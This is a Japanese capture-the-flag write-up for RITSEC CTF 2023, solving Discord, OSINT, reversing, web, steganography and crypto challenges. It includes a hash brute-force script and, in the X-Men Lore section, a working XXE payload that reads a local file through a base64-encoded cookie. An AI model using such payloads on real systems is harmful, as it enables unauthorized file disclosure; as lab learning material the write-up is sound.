RITSEC CTF 2023 Writeup

この大会は2023/4/1 1:00(JST)~2023/4/3 1:00(JST)に開催されました。
今回もチームで参戦。結果は1411点で717チーム中178位でした。
自分で解けた問題をWriteupとして書いておきます。

Intro (Introduction)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

RS{!flag}

Chandi Bot 1 (Chandi Bot)

Discordに入り、#chandi-botチャネルでボットを探すと、Chandi95#7853がいる。自己紹介で隠れている部分をクリックすると、フラグが表示された。

RS{QUANTUM_RESISTANT_ENCRYPTION}

New Hire (Misc)

以下のURLにある人(Bingus Quatuam)のスキルについてどう思うかという問題。
https://www.linkedin.com/in/bingus-quatuam-666704231/
Bingus Quatuamのスキルは以下のようになっている。

Research
Strategyy
Newsletters
Onshore Operations
Technical Support
E-Commerce
Unix
Real Estate

大文字部分をつなげると、フラグになる。

RS{NOOTSECURE}

Cats At Play (Reversing)

$ strings meow.exe | grep RS{
RS{C4tsL1keStr1ng5}
RS{C4tsL1keStr1ng5}

Guess the Password? (Reversing)

サーバの処理概要は以下の通り。

・user_input: 8バイト入力
・res = serv.encoder.check_input(user_input)
 ・hashed_user_input = serv.encoder.hash(user_input)
  ・salt = "RITSEC_Salt"
  ・(salt + user_input)のsha256のhexダイジェストを返却
 ・hashed_user_inputが以下と一致していたら、Trurを返却
  "657fa7558ae9011e8b9d3f56d5c083273557c3139f27d7b62cac458eb1a1a19d"
・resがTrueの場合
 ・secret = serv.encoder.flag_from_pwd(user_input)
  ・serv.encoder.secretとuser_inputのXORを返却
 ・response = f"RS{ {secret} }\n"
・resがFalseの場合
 ・response = エラーメッセージ
・responseを表示

エラーメッセージには、パスコードは数字8桁であることがヒントとして書かれている。ブルートフォースハッシュ値が一致するものを探す。

#!/usr/bin/env python3
import hashlib

key = '657fa7558ae9011e8b9d3f56d5c083273557c3139f27d7b62cac458eb1a1a19d'
salt = 'RITSEC_Salt'

for i in range(100000000):
    user_input = '%08d' % i
    if hashlib.sha256((salt + user_input).encode()).hexdigest() == key:
        print(user_input)
        break

実行結果は以下の通り。

54744973

サーバに接続して、このパスコードを答える。

$ nc guessthepassword.challenges.ctf.ritsec.club 1337
Enter the passcode to access the secret: 
54744973
RS{'PyCr@ckd'}

Closing connection...
RS{'PyCr@ckd'}

X-Men Lore (Web)

Beastをクリックしてみると、クッキーに以下が設定されている。

PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4=

base64デコードしてみる。

$ echo PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4= | base64 -d
<?xml version='1.0' encoding='UTF-8'?><input><xmen>Beast</xmen></input>

XXEを試す。

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file://flag'>]><input><xmen>&xxe;</xmen></input>

上記文字列をbase64エンコードする。

PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48IURPQ1RZUEUgZm9vIFs8IUVOVElUWSB4eGUgU1lTVEVNICdmaWxlOi8vZmxhZyc+XT48aW5wdXQ+PHhtZW4+Jnh4ZTs8L3htZW4+PC9pbnB1dD4=

この文字列をクッキーに設定し、リロードすると、フラグが表示された。

RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}

Weird (Steganography)

StegSolveで開き、Blue plane 0を見ると、フラグが書いてあった。

RS{Th4t5_w4cky_m4n}

turtle (Steganography)

アニメーションGIFになっている。Giamで全コマを保存する。40コマ目にうっすらフラグが書いてあった。

RS{G00D_3Y3_&_H4PPY_TUR713}

A Fine Cipher (Crypto)

Affine暗号。https://www.dcode.fr/affine-cipherで復号する。

A=23,B=7	IFYOUAREINTERESTEDCHECKOUTMORECRYTPOCTFSATCRYPTOHACK
RS{IFYOUAREINTERESTEDCHECKOUTMORECRYTPOCTFSATCRYPTOHACK}

Either or Neither nor (Crypto)

XORで暗号され、鍵の長さは4であることがわかっている。フラグは"Meta"で始まることから鍵を求め、復号する。

#!/usr/bin/env python3
enc_flag = [91,241,101,166,85,192,87,188,110,164,99,152,98,252,34,152,117,164,99,162,107]

flag_head = b'Meta'
key = []
for i in range(len(flag_head)):
    key.append(flag_head[i] ^ enc_flag[i])

flag = ''
for i in range(len(enc_flag)):
    flag += chr(enc_flag[i] ^ key[i % len(key)])
print(flag)
MetaCTF{x0r_th3_c0re}